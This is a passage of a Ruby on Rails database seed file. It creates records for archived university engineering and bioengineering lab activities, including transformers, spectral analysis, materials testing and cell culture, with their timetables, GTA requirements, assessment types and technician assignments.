nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a576.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a576.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a577 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode54\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 5)\n at577 = ActivityTimetable.where(activity_id: a577.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a577.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a577.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a577.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a577.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a578 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"unknowncode55\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 1)\n at578 = ActivityTimetable.where(activity_id: a578.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a578.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a578.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a578.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a578.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a578.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a579 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode56\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 5)\n at579 = ActivityTimetable.where(activity_id: a579.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a579.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a579.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a579.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a579.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a580 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode57\").first_or_create!(name: \"Spectral Analysis Extra\",\n name_abrv: \"SAX\", archived: true, in_drive: false, user_id: 4)\n at580 = ActivityTimetable.where(activity_id: a580.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a580.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a580.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a580.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a580.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a580.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a581 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"unknowncode58\").first_or_create!(name: \"INDUMACH\",\n name_abrv: \"INDUMACH\", archived: true, in_drive: false, user_id: 3)\n at581 = ActivityTimetable.where(activity_id: a581.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 5, setup_time: 5, takedown_time: 5, notes: \"\",\n capacity: 14, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a581.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a581.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a581.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a581.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a581.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a582 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode59\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 2)\n at582 = ActivityTimetable.where(activity_id: a582.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a582.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a582.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a582.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a582.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a582.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a583 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode60\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 3)\n at583 = ActivityTimetable.where(activity_id: a583.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a583.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a583.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a583.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a583.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a583.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a584 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode61\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at584 = ActivityTimetable.where(activity_id: a584.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a584.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a584.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a584.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a584.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a584.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a585 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode62\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: true, in_drive: false, user_id: 4)\n at585 = ActivityTimetable.where(activity_id: a585.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a585.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a585.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a585.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a585.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a585.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a586 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode63\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at586 = ActivityTimetable.where(activity_id: a586.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a586.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a586.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a586.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a586.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a586.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a587 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode64\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: true, in_drive: false, user_id: 4)\n at587 = ActivityTimetable.where(activity_id: a587.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a587.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a587.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a587.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a587.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a587.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a588 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode65\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 5)\n at588 = ActivityTimetable.where(activity_id: a588.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a588.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a588.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a588.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a588.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a588.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a589 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode66\").first_or_create!(name: \"Concrete Making & Testing\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at589 = ActivityTimetable.where(activity_id: a589.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a589.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a589.id).first_or_create!(criteria: \"\",\n job_desc:\"To understand the basic processes involved in cement hydration.To develop an understanding of mix design parameters on mortar rheology and strength.To gain experience in how to deal with statistical variation associated with destructive testing of brittle materials. Techniques used compression testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a589.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a589.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a589.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a590 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"unknowncode67\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: true, in_drive: false, user_id: 4)\n at590 = ActivityTimetable.where(activity_id: a590.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a590.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a590.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a590.id).first_or_create!(assess_weight: nil, notes: \"Claire is MEE lead. We don't do post-lab assessment for this lab practical.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a590.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a590.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a591 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode68\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: true, in_drive: false, user_id: 3)\n at591 = ActivityTimetable.where(activity_id: a591.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a591.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a591.id).first_or_create!(criteria: \"\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a591.id).first_or_create!(assess_weight: nil, notes: \"Includes histology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a591.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a591.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a592 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"unknowncode69\").first_or_create!(name: \"Histology staining\",\n name_abrv: \"HISTSTAINING\", archived: true, in_drive: false, user_id: 5)\n at592 = ActivityTimetable.where(activity_id: a592.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 25, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a592.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a592.id).first_or_create!(criteria: \"\",\n job_desc:\"Staining animal tissue sections using H&E - paraffin embedded and frozen sections\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a592.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a592.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a592.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a593 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode70\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: true, in_drive: false, user_id: 4)\n at593 = ActivityTimetable.where(activity_id: a593.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a593.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a593.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a593.id).first_or_create!(assess_weight: nil, notes: \"Includes aseptic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a593.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a593.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a594 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"unknowncode71\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: true, in_drive: false, user_id: 1)\n at594 = ActivityTimetable.where(activity_id: a594.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a594.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a594.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a594.id).first_or_create!(assess_weight: nil, notes: \"Post is MOLE test.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a594.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a594.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a595 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode72\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: true, in_drive: false, user_id: 4)\n at595 = ActivityTimetable.where(activity_id: a595.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a595.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a595.id).first_or_create!(criteria: \"\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a595.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n 